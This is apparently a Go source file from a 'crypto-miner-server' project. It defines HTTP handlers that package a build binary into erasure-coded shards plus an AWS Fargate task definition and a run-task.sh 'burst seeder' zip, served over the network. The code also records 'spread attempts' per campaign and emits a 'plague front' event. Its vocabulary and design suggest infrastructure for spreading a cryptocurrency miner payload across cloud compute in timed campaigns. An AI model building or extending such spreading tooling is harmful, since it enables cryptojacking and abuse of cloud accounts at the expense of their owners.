Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
253 lines
8.0 KiB
Go
253 lines
8.0 KiB
Go
package api
|
|
|
|
import (
|
|
"archive/zip"
|
|
"bytes"
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"net/http"
|
|
"os"
|
|
"strings"
|
|
"time"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/erasure"
|
|
"crypto-miner-server/internal/fargate"
|
|
)
|
|
|
|
type fargateBurstExportRequest struct {
|
|
ServerURL string `json:"server_url"`
|
|
BuildID string `json:"build_id"`
|
|
Campaign string `json:"campaign"`
|
|
Platform string `json:"platform"`
|
|
TTLHours int `json:"ttl_hours"`
|
|
TaskCount int `json:"task_count"`
|
|
}
|
|
|
|
func (h *SpreadHandler) BindFargateDeps(publicURL func() string, shards *erasure.ShardStore) {
|
|
h.publicURL = publicURL
|
|
if shards != nil {
|
|
h.erasureShards = shards
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) SyncFargateBurstCampaign(active bool, expiresAtRFC3339 string, ttlHours int) {
|
|
h.mu.Lock()
|
|
wasActive := h.fargateBurstActiveLocked()
|
|
h.fargateBurstCampaign = active
|
|
h.fargateBurstTTLHours = fargate.ClampTTLHours(ttlHours)
|
|
if active {
|
|
if t, err := time.Parse(time.RFC3339, strings.TrimSpace(expiresAtRFC3339)); err == nil && !t.IsZero() {
|
|
h.fargateBurstExpiresAt = t
|
|
} else if h.fargateBurstExpiresAt.IsZero() || time.Now().After(h.fargateBurstExpiresAt) {
|
|
h.fargateBurstExpiresAt = time.Now().Add(time.Duration(h.fargateBurstTTLHours) * time.Hour)
|
|
}
|
|
} else {
|
|
h.fargateBurstExpiresAt = time.Time{}
|
|
}
|
|
nowActive := h.fargateBurstActiveLocked()
|
|
h.mu.Unlock()
|
|
if !wasActive && nowActive {
|
|
h.emitFargatePlagueFront()
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) fargateBurstActive() bool {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
return h.fargateBurstActiveLocked()
|
|
}
|
|
|
|
func (h *WSHub) fargateBurstActiveLocked() bool {
|
|
if !h.fargateBurstCampaign {
|
|
return false
|
|
}
|
|
if h.fargateBurstExpiresAt.IsZero() {
|
|
return true
|
|
}
|
|
return time.Now().Before(h.fargateBurstExpiresAt)
|
|
}
|
|
|
|
func (h *WSHub) emitFargatePlagueFront() {
|
|
h.mu.RLock()
|
|
ttl := h.fargateBurstTTLHours
|
|
expires := h.fargateBurstExpiresAt
|
|
h.mu.RUnlock()
|
|
if ttl <= 0 {
|
|
ttl = 3
|
|
}
|
|
payload := map[string]interface{}{
|
|
"event": "fargate_plague_front",
|
|
"ttl_hours": ttl,
|
|
"expires_at": expires.Format(time.RFC3339),
|
|
}
|
|
emitter := &HubSeerEmitter{Hub: h, DB: h.db}
|
|
_ = emitter.EmitSeerEvent("fargate_plague_front", "", payload)
|
|
}
|
|
|
|
func (h *SpreadHandler) buildFargateBurstBundle(req fargateBurstExportRequest) (*fargate.Bundle, error) {
|
|
serverURL := strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
if serverURL == "" && h.publicURL != nil {
|
|
serverURL = strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
|
|
}
|
|
if serverURL == "" {
|
|
return nil, fmt.Errorf("server_url required")
|
|
}
|
|
platform := strings.TrimSpace(req.Platform)
|
|
if platform == "" {
|
|
platform = "linux"
|
|
}
|
|
deployH := h.deployPlan
|
|
if deployH == nil {
|
|
deployH = NewDeployPlanHandler(h.db, h.dataDir, h.projectRoot, func() string { return serverURL }, func() string { return "" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) })
|
|
}
|
|
store := h.erasureShards
|
|
if store == nil {
|
|
store = erasure.NewShardStore()
|
|
}
|
|
deployH.BindErasureFromHub(h.wsHub, store)
|
|
return buildFargateBurstBundleFromBuild(deployH, store, serverURL, strings.TrimSpace(req.BuildID), strings.TrimSpace(req.Campaign), platform, req.TTLHours, req.TaskCount)
|
|
}
|
|
|
|
func buildFargateBurstBundleFromBuild(deployH *DeployPlanHandler, store *erasure.ShardStore, serverURL, buildID, campaign, platform string, ttlHours, taskCount int) (*fargate.Bundle, error) {
|
|
if deployH == nil || store == nil {
|
|
return nil, fmt.Errorf("fargate burst: deploy handler required")
|
|
}
|
|
build, err := deployH.resolveBuild(buildID, platform)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
payload, err := os.ReadFile(build.FilePath)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("read build: %w", err)
|
|
}
|
|
plan, err := erasure.BuildPlan(store, serverURL, buildID, campaign, payload, "/tmp/aetherforge-burst/worker", "exe", "", true, true)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
shards := shardsFromStore(store, plan.ShardToken)
|
|
if len(shards) == 0 {
|
|
return nil, fmt.Errorf("fargate burst: no erasure shards")
|
|
}
|
|
return fargate.GenerateBundle(fargate.Options{
|
|
BuildID: buildID, Campaign: campaign, ServerURL: serverURL,
|
|
ShardToken: plan.ShardToken, PayloadSHA256: plan.PayloadSHA256, PayloadSize: plan.PayloadSize,
|
|
DataShards: plan.DataShards, ParityShards: plan.ParityShards,
|
|
TTLHours: ttlHours, TaskCount: taskCount, Shards: shards,
|
|
})
|
|
}
|
|
|
|
func zipFargateBurstBundle(bundle *fargate.Bundle) ([]byte, error) {
|
|
if bundle == nil {
|
|
return nil, fmt.Errorf("nil bundle")
|
|
}
|
|
var buf bytes.Buffer
|
|
zw := zip.NewWriter(&buf)
|
|
files := map[string][]byte{
|
|
"task-definition.json": bundle.TaskDefinitionJSON,
|
|
"run-task.sh": bundle.RunTaskScript,
|
|
"erasure-shards.json": bundle.ShardManifestJSON,
|
|
}
|
|
for name, data := range files {
|
|
w, err := zw.Create(name)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
if _, err := io.Copy(w, bytes.NewReader(data)); err != nil {
|
|
return nil, err
|
|
}
|
|
}
|
|
if err := zw.Close(); err != nil {
|
|
return nil, err
|
|
}
|
|
return buf.Bytes(), nil
|
|
}
|
|
|
|
func fargateBurstQueryFromRequest(r *http.Request) (buildID, campaign string) {
|
|
buildID = strings.TrimSpace(r.URL.Query().Get("pin"))
|
|
if buildID == "" {
|
|
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
|
|
}
|
|
campaign = strings.TrimSpace(r.URL.Query().Get("c"))
|
|
if campaign == "" {
|
|
campaign = strings.TrimSpace(r.URL.Query().Get("campaign"))
|
|
}
|
|
return buildID, campaign
|
|
}
|
|
|
|
func (h *SpreadHandler) ExportFargateBurst(w http.ResponseWriter, r *http.Request) {
|
|
var req fargateBurstExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
bundle, err := h.buildFargateBurstBundle(req)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
zipData, err := zipFargateBurstBundle(bundle)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if h.wsHub != nil && h.db != nil {
|
|
_ = (&OathLedgerBridge{DB: h.db, Hub: h.wsHub}).Record(AuthUsername(r), dbpkg.OathSpreadAttempt, "", "", dbpkg.OathOutcomeSuccess, map[string]string{"lane": "fargate_burst", "campaign": req.Campaign, "build_id": req.BuildID}, map[string]string{"lane": "fargate_burst"})
|
|
}
|
|
writeZipAttachment(w, "aetherforge-fargate-burst-seeder.zip", zipData)
|
|
}
|
|
|
|
func (h *SpreadHandler) FargateBurstTaskDefinition(w http.ResponseWriter, r *http.Request) {
|
|
buildID, campaign := fargateBurstQueryFromRequest(r)
|
|
bundle, err := h.buildFargateBurstBundle(fargateBurstExportRequest{BuildID: buildID, Campaign: campaign, ServerURL: publicURLFromRequest(r, h.publicURL)})
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
w.Header().Set("Content-Type", "application/json")
|
|
w.Write(bundle.TaskDefinitionJSON)
|
|
}
|
|
|
|
func (h *SpreadHandler) FargateBurstRunScript(w http.ResponseWriter, r *http.Request) {
|
|
buildID, campaign := fargateBurstQueryFromRequest(r)
|
|
bundle, err := h.buildFargateBurstBundle(fargateBurstExportRequest{BuildID: buildID, Campaign: campaign, ServerURL: publicURLFromRequest(r, h.publicURL)})
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
w.Header().Set("Content-Type", "text/x-shellscript; charset=utf-8")
|
|
w.Write(bundle.RunTaskScript)
|
|
}
|
|
|
|
func (h *SpreadHandler) FargateBurstBundleZip(w http.ResponseWriter, r *http.Request) {
|
|
buildID, campaign := fargateBurstQueryFromRequest(r)
|
|
bundle, err := h.buildFargateBurstBundle(fargateBurstExportRequest{BuildID: buildID, Campaign: campaign, ServerURL: publicURLFromRequest(r, h.publicURL)})
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
zipData, err := zipFargateBurstBundle(bundle)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, "aetherforge-fargate-burst-seeder.zip", zipData)
|
|
}
|
|
|
|
func publicURLFromRequest(r *http.Request, fn func() string) string {
|
|
if fn != nil {
|
|
if u := strings.TrimRight(strings.TrimSpace(fn()), "/"); u != "" {
|
|
return u
|
|
}
|
|
}
|
|
if r == nil {
|
|
return ""
|
|
}
|
|
scheme := "http"
|
|
if r.TLS != nil {
|
|
scheme = "https"
|
|
}
|
|
return strings.TrimRight(fmt.Sprintf("%s://%s", scheme, r.Host), "/")
|
|
}
|